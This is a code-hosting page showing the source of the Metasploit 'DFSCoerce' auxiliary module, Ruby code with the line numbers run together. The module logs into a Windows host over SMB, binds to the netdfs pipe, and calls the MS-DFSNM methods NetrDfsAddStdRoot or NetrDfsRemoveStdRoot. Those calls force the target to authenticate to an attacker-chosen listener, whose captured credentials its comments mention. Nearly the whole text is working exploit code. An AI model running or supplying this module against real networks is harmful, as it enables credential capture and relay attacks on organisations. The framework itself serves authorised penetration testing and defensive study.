Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/dcerpc/dfscoerce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'windows_error'6require 'ruby_smb'7require 'ruby_smb/error'89class MetasploitModule < Msf::Auxiliary10include Msf::Exploit::Remote::DCERPC11include Msf::Exploit::Remote::SMB::Client::Authenticated12include Msf::Auxiliary::Scanner1314Dfsnm = RubySMB::Dcerpc::Dfsnm1516METHODS = %w[NetrDfsAddStdRoot NetrDfsRemoveStdRoot].freeze1718def initialize19super(20'Name' => 'DFSCoerce',21'Description' => %q{22Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.23},24'Author' => [25'Wh04m1001',26'xct_de',27'Spencer McIntyre'28],29'References' => [30[ 'URL', 'https://github.com/Wh04m1001/DFSCoerce' ]31],32'License' => MSF_LICENSE33)3435register_options(36[37OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),38OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])39]40)41end4243def connect_dfsnm44vprint_status('Connecting to Distributed File System (DFS) Namespace Management Protocol')45netdfs = @tree.open_file(filename: 'netdfs', write: true, read: true)4647vprint_status('Binding to \\netdfs...')48netdfs.bind(endpoint: RubySMB::Dcerpc::Dfsnm)49vprint_good('Bound to \\netdfs')5051netdfs52end5354def run_host(_ip)55begin56connect57rescue Rex::ConnectionError => e58fail_with(Failure::Unreachable, e.message)59end6061begin62smb_login63rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e64fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")65end6667begin68@tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")69rescue RubySMB::Error::RubySMBError => e70fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")71end7273begin74dfsnm = connect_dfsnm75rescue RubySMB::Error::UnexpectedStatusCode => e76if e.status_code == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED77fail_with(Failure::NoAccess, 'Connection failed (STATUS_ACCESS_DENIED)')78end7980fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})")81rescue RubySMB::Dcerpc::Error::FaultError => e82elog(e.message, error: e)83fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})")84end8586begin87case datastore['METHOD']88when 'NetrDfsAddStdRoot'89dfsnm.netr_dfs_add_std_root(datastore['LISTENER'], 'share', comment: Faker::Hacker.say_something_smart)90when 'NetrDfsRemoveStdRoot', 'Automatic'91# use this technique by default, it's the original and doesn't require a comment92dfsnm.netr_dfs_remove_std_root(datastore['LISTENER'], 'share')93end94rescue RubySMB::Dcerpc::Error::DfsnmError => e95case e.status_code96when ::WindowsError::Win32::ERROR_ACCESS_DENIED97# this should be the response even if LISTENER captured the credentials (MSF, Responder, etc.)98print_good('Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful')99when ::WindowsError::Win32::ERROR_BAD_NETPATH100# this should be the response even if LISTENER was inaccessible101print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')102else103print_status("Server responded with #{e.status_code.name} (#{e.status_code.description})")104end105end106end107end108109110